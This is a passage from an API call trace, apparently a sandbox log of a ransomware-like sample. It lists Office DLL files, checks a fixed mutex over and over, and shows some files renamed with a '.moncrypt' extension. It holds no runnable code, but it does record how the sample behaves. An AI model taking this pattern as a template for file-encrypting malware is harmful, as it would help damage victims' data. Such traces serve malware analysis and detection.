ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xda45, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL.moncrypt", cAlternateFileName="MSOINT~1.MON")) returned 1 [0047.446] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.446] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.446] GlobalLock (hMem=0x440004) returned 0x552180 [0047.446] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.446] GlobalUnlock (hMem=0x440004) returned 0 [0047.446] GlobalLock (hMem=0x440004) returned 0x552180 [0047.446] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.446] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.446] GlobalUnlock (hMem=0x440004) returned 0 [0047.446] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.446] GlobalUnlock (hMem=0x44000c) returned 0 [0047.447] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.447] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x153045, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL.moncrypt", cAlternateFileName="MSOINT~2.MON")) returned 1 [0047.447] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.447] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.447] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.447] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.447] GlobalUnlock (hMem=0x44000c) returned 0 [0047.447] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.447] GlobalLock (hMem=0x440004) returned 0x554190 [0047.447] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.447] GlobalUnlock (hMem=0x44000c) returned 0 [0047.447] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.447] GlobalUnlock (hMem=0x440004) returned 0 [0047.447] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.447] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0047.447] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.447] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.447] GlobalLock (hMem=0x440004) returned 0x552180 [0047.447] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.447] GlobalUnlock (hMem=0x440004) returned 0 [0047.447] GlobalLock (hMem=0x440004) returned 0x552180 [0047.447] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.447] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.447] GlobalUnlock (hMem=0x440004) returned 0 [0047.447] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.447] GlobalUnlock (hMem=0x44000c) returned 0 [0047.447] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.447] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0047.447] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.447] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.448] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.448] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.448] GlobalUnlock (hMem=0x44000c) returned 0 [0047.448] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.448] GlobalLock (hMem=0x440004) returned 0x554190 [0047.448] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.448] GlobalUnlock (hMem=0x44000c) returned 0 [0047.448] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.448] GlobalUnlock (hMem=0x440004) returned 0 [0047.448] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.448] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0047.448] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.448] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.448] GlobalLock (hMem=0x440004) returned 0x552180 [0047.448] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.448] GlobalUnlock (hMem=0x440004) returned 0 [0047.448] GlobalLock (hMem=0x440004) returned 0x552180 [0047.448] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.448] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.448] GlobalUnlock (hMem=0x440004) returned 0 [0047.448] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.448] GlobalUnlock (hMem=0x44000c) returned 0 [0047.448] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.448] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0047.448] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.448] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.448] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.448] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.448] GlobalUnlock (hMem=0x44000c) returned 0 [0047.449] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.449] GlobalLock (hMem=0x440004) returned 0x554190 [0047.449] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.449] GlobalUnlock (hMem=0x44000c) returned 0 [0047.449] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.449] GlobalUnlock (hMem=0x440004) returned 0 [0047.449] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.449] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0047.449] GetLastError () returned 0x12 [0047.449] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.449] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0047.449] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.449] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.449] GlobalLock (hMem=0x440004) returned 0x551178 [0047.449] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.449] GlobalUnlock (hMem=0x440004) returned 0 [0047.449] GlobalLock (hMem=0x440004) returned 0x551178 [0047.449] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.449] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.449] GlobalUnlock (hMem=0x440004) returned 0 [0047.449] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.450] GlobalUnlock (hMem=0x44000c) returned 0 [0047.450] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.450] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0047.450] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.450] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.450] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.450] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.450] GlobalUnlock (hMem=0x44000c) returned 0 [0047.450] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.450] GlobalLock (hMem=0x440004) returned 0x553188 [0047.450] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.450] GlobalUnlock (hMem=0x44000c) returned 0 [0047.450] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.450] GlobalUnlock (hMem=0x440004) returned 0 [0047.450] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.450] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0047.450] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.450] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.450] GlobalLock (hMem=0x440004) returned 0x551178 [0047.450] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.450] GlobalUnlock (hMem=0x440004) returned 0 [0047.450] GlobalLock (hMem=0x440004) returned 0x551178 [0047.450] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.450] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.450] GlobalUnlock (hMem=0x440004) returned 0 [0047.450] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.450] GlobalUnlock (hMem=0x44000c) returned 0 [0047.450] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.450] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0047.451] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.451] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.451] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.451] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.451] GlobalUnlock (hMem=0x44000c) returned 0 [0047.451] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.451] GlobalLock (hMem=0x440004) returned 0x553188 [0047.451] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.451] GlobalUnlock (hMem=0x44000c) returned 0 [0047.451] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.451] GlobalUnlock (hMem=0x440004) returned 0 [0047.451] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.451] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0047.451] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.451] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.451] GlobalLock (hMem=0x440004) returned 0x551178 [0047.451] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.451] GlobalUnlock (hMem=0x440004) returned 0 [0047.451] GlobalLock (hMem=0x440004) returned 0x551178 [0047.451] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.451] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.451] GlobalUnlock (hMem=0x440004) returned 0 [0047.451] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.451] GlobalUnlock (hMem=0x44000c) returned 0 [0047.451] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.451] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0047.451] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.451] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.451] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.451] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.451] GlobalUnlock (hMem=0x44000c) returned 0 [0047.452] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.452] GlobalLock (hMem=0x440004) returned 0x553188 [0047.452] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.452] GlobalUnlock (hMem=0x44000c) returned 0 [0047.452] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.452] GlobalUnlock (hMem=0x440004) returned 0 [0047.452] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.452] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0047.452] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.452] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.452] GlobalLock (hMem=0x440004) returned 0x551178 [0047.452] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.452] GlobalUnlock (hMem=0x440004) returned 0 [0047.452] GlobalLock (hMem=0x440004) returned 0x551178 [0047.452] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.452] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.452] GlobalUnlock (hMem=0x440004) returned 0 [0047.452] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.452] GlobalUnlock (hMem=0x44000c) returned 0 [0047.452] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.452] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0047.452] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.452] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.452] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.452] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.452] GlobalUnlock (hMem=0x44000c) returned 0 [0047.452] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.452] GlobalLock (hMem=0x440004) returned 0x553188 [0047.452] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.453] GlobalUnlock (hMem=0x44000c) returned 0 [0047.453] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.453] GlobalUnlock (hMem=0x440004) returned 0 [0047.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.453] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0047.453] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.453] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.453] GlobalLock (hMem=0x440004) returned 0x551178 [0047.453] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.453] GlobalUnlock (hMem=0x440004) returned 0 [0047.453] GlobalLock (hMem=0x440004) returned 0x551178 [0047.453] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.453] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.453] GlobalUnlock (hMem=0x440004) returned 0 [0047.453] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.453] GlobalUnlock (hMem=0x44000c) returned 0 [0047.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.453] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0047.453] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.453] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.453] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.453] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.453] GlobalUnlock (hMem=0x44000c) returned 0 [0047.453] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.453] GlobalLock (hMem=0x440004) returned 0x553188 [0047.453] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.453] GlobalUnlock (hMem=0x44000c) returned 0 [0047.453] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.453] GlobalUnlock (hMem=0x440004) returned 0 [0047.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.454] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0047.454] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.454] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.454] GlobalLock (hMem=0x440004) returned 0x551178 [0047.454] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.454] GlobalUnlock (hMem=0x440004) returned 0 [0047.454] GlobalLock (hMem=0x440004) returned 0x551178 [0047.454] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.454] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.454] GlobalUnlock (hMem=0x440004) returned 0 [0047.454] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.454] GlobalUnlock (hMem=0x44000c) returned 0 [0047.454] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.454] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, 